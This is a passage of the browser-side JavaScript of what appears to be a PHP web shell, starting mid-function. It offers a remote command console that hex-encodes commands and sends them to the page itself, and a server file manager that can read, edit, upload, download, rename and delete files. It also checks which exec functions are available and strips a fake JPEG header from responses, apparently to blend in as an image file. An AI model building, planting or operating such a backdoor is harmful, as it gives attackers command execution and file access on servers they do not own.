0; i < b.length; i++) h += ('0' + (b[i] & 255).toString(16)).slice(-2); return h; } function selfUrl() { var p = String(location.pathname || '/'); p = p.replace(/\/+/g, '/'); if (!p || p.charAt(0) !== '/') p = '/' + p; return p; } function u8ToStr(u8) { var out = '', i = 0, n = 8192; for (; i < u8.length; i += n) { out += String.fromCharCode.apply(null, Array.prototype.slice.call(u8.subarray(i, Math.min(i + n, u8.length)))); } return out; } function unwrapBuf(buf) { if (!buf || buf.length < 4) return buf; if (buf[0] === 0xff && buf[1] === 0xd8) { return buf.length > 19 ? buf.subarray(19) : buf; } return buf; } function cleanText(t) { if (t == null) return ''; t = String(t); var m = t.indexOf('PHP_VERSION'); if (m >= 0) return t.slice(m); var a = t.indexOf('{'); var d = t.toLowerCase().indexOf('<!doctype'); var cut = -1; if (a >= 0) cut = a; if (d >= 0 && (cut < 0 || d < cut)) cut = d; if (cut > 0) return t.slice(cut); return t; } function parseJsonText(t) { if (t == null) return { ok: false, error: 'empty' }; t = String(t); var n = 0; while (n < t.length && t.charCodeAt(n) < 32) n++; t = t.slice(n); if (t.charAt(0) === '<') return { ok: false, error: 'not json' }; var a = t.indexOf('{'); if (a < 0) return { ok: false, error: 'not json' }; t = t.slice(a); try { return JSON.parse(t); } catch (e1) { var z = t.lastIndexOf('}'); if (z > 0) { try { return JSON.parse(t.slice(0, z + 1)); } catch (e2) {} } return { ok: false, error: 'not json' }; } } function xhrSend(method, url, body) { return new Promise(function(resolve, reject) { var x = new XMLHttpRequest(); x.open(method, url, true); x.timeout = 120000; x.responseType = 'arraybuffer'; if (method === 'POST') { x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); x.setRequestHeader('Cache-Control', 'no-store'); } x.onload = function() { resolve({ ok: x.status >= 200 && x.status < 300, status: x.status, buf: unwrapBuf(new Uint8Array(x.response || 0)), headers: { get: function(n) { return x.getResponseHeader(n); } } }); }; x.onerror = function() { reject(new TypeError('NetworkError when attempting to fetch resource.')); }; x.ontimeout = function() { var e = new Error('timeout'); e.name = 'AbortError'; reject(e); }; x.send(method === 'GET' ? null : body); }); } function postRaw(body) { var base = selfUrl(); var t = (new Date()).getTime(); return xhrSend('POST', base + '?t=' + t, body).then(function(r) { if (r.buf && r.buf.length && r.buf[0] === 0x3c && body && body.indexOf('u=') < 0 && body.length < 2000) { return xhrSend('GET', base + '?' + body + '&t=' + t, null); } return r; }); } async function callConsole(payload) { var r = await postRaw('r=' + payload); return cleanText(u8ToStr(r.buf)); } async function run() { const cmd = $('#c').value; if (!cmd) return; const fn = $('#fn').value; const payload = fn ? hex(fn) + ':' + hex(cmd) : hex(cmd); $('#out').value = '...'; try { const t = await callConsole(payload); $('#out').value = t || '(empty)'; } catch (e) { $('#out').value = 'ERR: ' + (e.name === 'AbortError' ? 'timeout' : e.message); } } async function info() { $('#out').value = 'loading...'; try { const r = await fmCall('debug', {}); $('#out').value = cleanText(u8ToStr(r.buf)); } catch (e) { $('#out').value = 'ERR: ' + (e.name === 'AbortError' ? 'timeout' : e.message); } } async function infoShort() { try { const r = await fmJson('info'); if (!r.ok) return; $('#fmStatus').textContent = 'cwd: ' + r.cwd + ' | exec: ' + fnSummary(r); } catch (e) {} } $('#c').addEventListener('keydown', e => { if (e.key === 'Enter') run(); }); $('#fmPath').addEventListener('keydown', e => { if (e.key === 'Enter') fmGo(); }); let fmCwd = ''; let fmEntries = []; async function fmCall(op, params) { const payload = hex(JSON.stringify(Object.assign({ op: op }, params || {}))); return await postRaw('f=' + payload); } async function fmJson(op, params) { try { const r = await fmCall(op, params); if (!r.buf || !r.buf.length) return { ok: false, error: 'empty' }; return parseJsonText(u8ToStr(r.buf)); } catch (e) { return { ok: false, error: e.name === 'AbortError' ? 'timeout' : 'request failed' }; } } function fmtSize(n) { if (n < 1024) return n + ' B'; if (n < 1048576) return (n/1024).toFixed(1) + ' K'; if (n < 1073741824) return (n/1048576).toFixed(1) + ' M'; return (n/1073741824).toFixed(1) + ' G'; } function pathJoin(base, name) { const sep = (base.indexOf('\\') !== -1 && base.indexOf('/') === -1) ? '\\' : '/'; return base.replace(/[\\\/]+$/,'') + sep + name; } function pathParent(p) { p = p.replace(/[\\\/]+$/, ''); if (/^[A-Za-z]:$/.test(p)) return p + '\\'; const i = Math.max(p.lastIndexOf('/'), p.lastIndexOf('\\')); if (i <= 0) return p.slice(0, 1) || '/'; return p.slice(0, i); } function fmRender() { const tb = $('#fmTable tbody'); tb.innerHTML = ''; for (const e of fmEntries) { const full = pathJoin(fmCwd, e.name); const isDir = e.type === 'dir'; const tr = document.createElement('tr'); tr.dataset.path = full; const nameCell = isDir ? '<a class="fmLink">' + esc(e.name) + '/</a>' : esc(e.name); const acts = (isDir ? '<button data-act="dl">dl</button>' : '<button data-act="view">view</button>' + '<button data-act="edit">edit</button>' + '<button data-act="dl">dl</button>') + '<button data-act="rn">rn</button>' + '<button data-act="rm">rm</button>'; tr.innerHTML = '<td><input type="checkbox" class="fmSel"></td>' + '<td class="name">' + nameCell + '</td>' + '<td>' + esc(e.type) + '</td>' + '<td>' + (isDir ? '-' : fmtSize(e.size)) + '</td>' + '<td>' + esc(e.mtime) + '</td>' + '<td class="actions">' + acts + '</td>'; tb.appendChild(tr); } $('#fmPath').value = fmCwd; } async function fmLoad(path) { $('#fmStatus').textContent = 'loading...'; const r = await fmJson('list', { path }); if (!r.ok) { $('#fmStatus').textContent = 'error: ' + (r.error || '?'); return; } fmCwd = r.path; fmEntries = r.entries; $('#fmMode').textContent = '[mode: ' + r.mode + ']'; fmRender(); $('#fmStatus').textContent = fmEntries.length + ' item(s)'; } function fmGo() { fmLoad($('#fmPath').value); } function fmRefresh() { fmLoad(fmCwd); } function fmUp() { fmLoad(pathParent(fmCwd)); } function fnSummary(r) { const list = []; if (r.functions) for (const k in r.functions) if (r.functions[k]) list.push(k); return list.length ? list.join(',') : '(none)'; } async function fmHome() { const r = await fmJson('info'); if (!r.ok) { $('#fmStatus').textContent = 'error: ' + (r.error || '?'); return; } infoShort(); fmLoad(r.cwd); } async function fmInit() { const r = await fmJson('info'); if (!r.ok) { $('#fmStatus').textContent = 'init failed: ' + (r.error || '?'); return; } fmLoad(r.cwd); } function fmToggleAll(cb) { document.querySelectorAll('.fmSel').forEach(x => x.checked = cb.checked); } function fmSelected() { return [...document.querySelectorAll('#fmTable tbody tr')] .filter(tr => tr.querySelector('.fmSel') && tr.querySelector('.fmSel').checked) .map(tr => tr.dataset.path); } $('#fmTable tbody').addEventListener('click', e => { const link = e.target.closest('a.fmLink'); if (link) { const tr = link.closest('tr'); if (tr) fmLoad(tr.dataset.path); return; } const btn = e.target.closest('button[data-act]'); if (!btn) return; const tr = btn.closest('tr'); if (!tr) return; const path = tr.dataset.path; const act = btn.dataset.act; if (act === 'view') fmView(path); else if (act === 'edit') fmEdit(path); else if (act === 'dl') fmDownload(path); else if (act === 'rn') fmRename(path); else if (act === 'rm') fmDeleteOne(path); }); async function fmView(path) { const r = await fmJson('read', { path }); if (!r.ok) { alert('read failed: ' + r.error); return; } $('#modalTitle').textContent = 'view: ' + path; $('#modalText').value = r.content; $('#modalText').readOnly = true; $('#modalStatus').textContent = r.size + ' bytes' + (r.binary ? ' (binary)' : ''); $('#modalActions').innerHTML = ''; $('#modal').classList.add('open'); $('#modal').dataset.path = path; $('#modal').dataset.mode = 'view'; } async function fmEdit(path) { const r = await fmJson('read', { path }); if (!r.ok) { alert('read failed: ' + r.error); return; } $('#modalTitle').textContent = 'edit: ' + path; $('#modalText').value = r.content; $('#modalText').readOnly = false; $('#modalStatus').textContent = r.size + ' bytes'; $('#modalActions').innerHTML = '<button onclick="modalSave()">save</button>'; $('#modal').classList.add('open'); $('#modal').dataset.path = path; $('#modal').dataset.mode = 'edit'; } async function modalSave() { if ($('#modal').dataset.mode !== 'edit') { modalClose(); return; } const path = $('#modal').dataset.path; const content = $('#modalText').value; $('#modalStatus').textContent = 'saving...'; const r = await fmJson('write', { path, content }); if (r.ok) { $('#modalStatus').textContent = 'saved ' + r.bytes + ' bytes'; setTimeout(modalClose, 400); } else { $('#modalStatus').textContent = 'error: ' + r.error; } } function modalClose() { $('#modal').classList.remove('open'); $('#modal').dataset.path = ''; $('#modal').dataset.mode = ''; $('#modalActions').innerHTML = ''; } async function fmRename(path) { const oldName = path.split(/[\\\/]/).pop(); const newName = prompt('rename to:', oldName); if (!newName || newName === oldName) return; const to = path.slice(0, path.length - oldName.length) + newName; const r = await fmJson('rename', { from: path, to }); if (!r.ok) alert('rename failed: ' + r.error); fmRefresh(); } async function fmDeleteOne(path) { if (!confirm('delete:\n' + path)) return; const r = await fmJson('delete', { paths: [path] }); if (!r.ok) alert('delete failed: ' + JSON.stringify(r.failed)); fmRefresh(); } async function fmDownload(path) { const r = await fmCall('download', { path }); if (!r.ok) { alert('download failed'); return; } const blob = new Blob([r.buf]); const cd = r.headers.get('Content-Disposition') || ''; let name = path.split(/[\\\/]/).pop(); const m = cd.match(/filename="([^"]+)"/); if (m) name = m[1]; const url = URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; a.download = name; document.body.appendChild(a); a.click(); a.remove(); setTimeout(() => URL.revokeObjectURL(url), 2000); } async function fmDownloadSelected() { const sel = fmSelected(); if (!sel.length) { alert('nothing selected'); return; } for (const p of sel) { await fmDownload(p); await new Promise(r => setTimeout(r, 300)); } } async function fmDeleteSelected() { const sel = fmSelected(); if (!sel.length) { alert('nothing selected'); return; } if (!confirm('delete ' + sel.length + ' item(s)?')) return; const r = await fmJson('delete', { paths: sel }); if (!r.ok) alert('some failed: ' + JSON.stringify(r.failed)); fmRefresh(); } async function fmMkdir() { const name = prompt('new folder name:'); if (!name) return; const r = await fmJson('mkdir', { path: pathJoin(fmCwd, name) }); if (!r.ok) alert('mkdir failed: ' + r.error); fmRefresh(); } async function fmNewFile() { const name = prompt('new file name:'); if (!name) return; const r = await fmJson('write', { path: pathJoin(fmCwd, name), content: '' }); if (!r.ok) alert('create failed: ' + r.error); fmRefresh(); } async function fmUpload() { const inp = document.createElement('input'); inp.type = 'file'; inp.onchange = async () => { const f = inp.files && inp.files[0]; if (!f) return; $('#fmStatus').textContent = 'uploading ' + f.name + ' (' + fmtSize(f.size) + ')...'; const buf = new Uint8Array(await f.arrayBuffer()); let h = ''; const chunk = 8192; for (let i = 0; i < buf.length; i += chunk) { h += Array.prototype.map.call(buf.subarray(i, i + chunk), b => b.toString(16).padStart(2,'0')).join(''); } const meta = hex(JSON.stringify({ op: 'upload', path: pathJoin(fmCwd, f.name) })); try { const r = await postRaw('f=' + meta + '&u=' + h); const j = parseJsonText(u8ToStr(r.buf)); if (!j.ok) { $('#fmStatus').textContent = '✗ ' + f.name + ': ' + j.error; $('#fmStatus').style.color = '#f97583'; } else { $('#fmStatus').textContent = '✓ ' + f.name + ' (' + fmtSize(j.bytes) + ')'; $('#fmStatus').style.color = '#7ee787'; } setTimeout(() => { $('#fmStatus').textContent = ''; $('#fmStatus').style.color = ''; }, 3000); } catch (e) { $('#fmStatus').textContent = '✗ ' + f.name + ': ' + (e.name === 'AbortError' ? 'timeout' : e.message); $('#fmStatus').style.color = '#f97583'; setTimeout(() => { $('#fmStatus').textContent = ''; $('#fmStatus').style.color = ''; }, 3000); } fmRefresh(); }; inp.click(); } async function boot() { $('#out').value = 'loading...'; try { const r = await fmCall('debug', {}); $('#out').value = cleanText(u8ToStr(r.buf)); } catch (e) { $('#out').value = 'boot error: ' + (e.name === 'AbortError' ? 'timeout' : e.message); } } boot(); fmInit(); </script> </html> <?php exit; ?> ��
Close